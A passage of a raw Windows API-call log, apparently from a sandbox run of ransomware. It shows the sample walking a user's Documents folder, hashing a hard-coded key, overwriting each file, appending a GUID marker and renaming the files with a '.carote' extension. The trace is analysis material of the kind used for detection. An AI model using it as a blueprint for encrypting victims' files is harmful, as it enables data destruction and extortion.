lpDistanceToMoveHigh=0x0) returned 0x0 [0113.770] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x13473, lpOverlapped=0x0) returned 1 [0113.772] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.772] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.772] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.772] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.772] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0113.772] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.772] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.773] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.773] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.773] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.773] GetLastError () returned 0x0 [0113.773] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.773] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0113.773] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.773] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x13470) returned 0x7b182e0 [0113.773] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.773] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.773] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x1346e, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x1346e, lpOverlapped=0x0) returned 1 [0113.774] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.774] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x13473, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.774] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.774] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.774] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.774] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.774] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.774] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.774] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.774] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.774] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.774] CloseHandle (hObject=0x61c) returned 1 [0113.775] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20b28 [0113.775] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8d0) returned 0x7b14908 [0113.775] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20b28 | out: hHeap=0x5010000) returned 1 [0113.775] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\GkmXiYT zW.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\kkla\\gkmxiyt zw.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\GkmXiYT zW.rtf.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\kkla\\gkmxiyt zw.rtf.carote")) returned 1 [0113.776] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.776] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.777] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a5d770 | out: hHeap=0x5010000) returned 1 [0113.777] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf3a46f0, ftCreationTime.dwHighDateTime=0x1d4cc04, ftLastAccessTime.dwLowDateTime=0xb1508e10, ftLastAccessTime.dwHighDateTime=0x1d4c74e, ftLastWriteTime.dwLowDateTime=0xb1508e10, ftLastWriteTime.dwHighDateTime=0x1d4c74e, nFileSizeHigh=0x0, nFileSizeLow=0x13156, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iLHcW1_L1lLAxI J8rJ.ods", cAlternateFileName="ILHCW1~1.ODS")) returned 1 [0113.777] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109848 [0113.777] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xee) returned 0x7a5d770 [0113.777] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109848 | out: hHeap=0x5010000) returned 1 [0113.777] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\iLHcW1_L1lLAxI J8rJ.ods") returned=".ods" [0113.777] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\iLHcW1_L1lLAxI J8rJ.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\kkla\\ilhcw1_l1llaxi j8rj.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.777] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=78166) returned 1 [0113.777] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.779] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x13130, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.779] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.780] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.780] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.780] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.781] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x13156, lpOverlapped=0x0) returned 1 [0113.781] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.781] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.781] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.782] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.782] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0113.782] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.782] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.782] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.782] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.782] GetLastError () returned 0x0 [0113.782] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.782] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0113.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x13160) returned 0x7b182e0 [0113.783] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.783] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x13151, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x13151, lpOverlapped=0x0) returned 1 [0113.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.783] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x13156, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.784] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.784] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.784] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.784] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.784] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.784] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.784] CloseHandle (hObject=0x61c) returned 1 [0113.785] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0113.785] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8e0) returned 0x7b14908 [0113.785] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0113.785] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\iLHcW1_L1lLAxI J8rJ.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\kkla\\ilhcw1_l1llaxi j8rj.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\iLHcW1_L1lLAxI J8rJ.ods.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\kkla\\ilhcw1_l1llaxi j8rj.ods.carote")) returned 1 [0113.786] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.786] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.787] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a5d770 | out: hHeap=0x5010000) returned 1 [0113.787] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45021780, ftCreationTime.dwHighDateTime=0x1d4d179, ftLastAccessTime.dwLowDateTime=0x1749adb0, ftLastAccessTime.dwHighDateTime=0x1d4d02c, ftLastWriteTime.dwLowDateTime=0x1749adb0, ftLastWriteTime.dwHighDateTime=0x1d4d02c, nFileSizeHigh=0x0, nFileSizeLow=0xa134, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ooZ53.pptx", cAlternateFileName="OOZ53~1.PPT")) returned 1 [0113.787] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109848 [0113.787] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xee) returned 0x7a5d770 [0113.787] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109848 | out: hHeap=0x5010000) returned 1 [0113.787] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\ooZ53.pptx") returned=".pptx" [0113.787] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\ooZ53.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\kkla\\ooz53.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.787] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=41268) returned 1 [0113.787] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.789] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa10e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.789] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.790] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.790] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.790] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.790] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xa134, lpOverlapped=0x0) returned 1 [0113.791] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.791] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.791] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.791] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.791] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0113.792] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.792] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.792] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.792] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.792] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.792] GetLastError () returned 0x0 [0113.792] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.792] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0113.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.792] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa130) returned 0x7b182e0 [0113.792] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.792] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0xa12f, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0xa12f, lpOverlapped=0x0) returned 1 [0113.793] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.793] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.793] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.793] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.793] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.793] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.793] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.793] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.793] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.793] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.793] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.793] CloseHandle (hObject=0x61c) returned 1 [0113.794] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16690 [0113.794] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7b14908 [0113.794] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16690 | out: hHeap=0x5010000) returned 1 [0113.794] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\ooZ53.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\kkla\\ooz53.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\Kkla\\ooZ53.pptx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\kkla\\ooz53.pptx.carote")) returned 1 [0113.794] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.794] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.795] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a5d770 | out: hHeap=0x5010000) returned 1 [0113.795] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45021780, ftCreationTime.dwHighDateTime=0x1d4d179, ftLastAccessTime.dwLowDateTime=0x1749adb0, ftLastAccessTime.dwHighDateTime=0x1d4d02c, ftLastWriteTime.dwLowDateTime=0x1749adb0, ftLastWriteTime.dwHighDateTime=0x1d4d02c, nFileSizeHigh=0x0, nFileSizeLow=0xa134, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ooZ53.pptx", cAlternateFileName="OOZ53~1.PPT")) returned 0 [0113.795] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.796] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0113.796] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.796] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20b28 [0113.796] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.796] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.796] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.796] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.796] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.796] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.796] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.796] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.796] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.796] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.796] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.796] 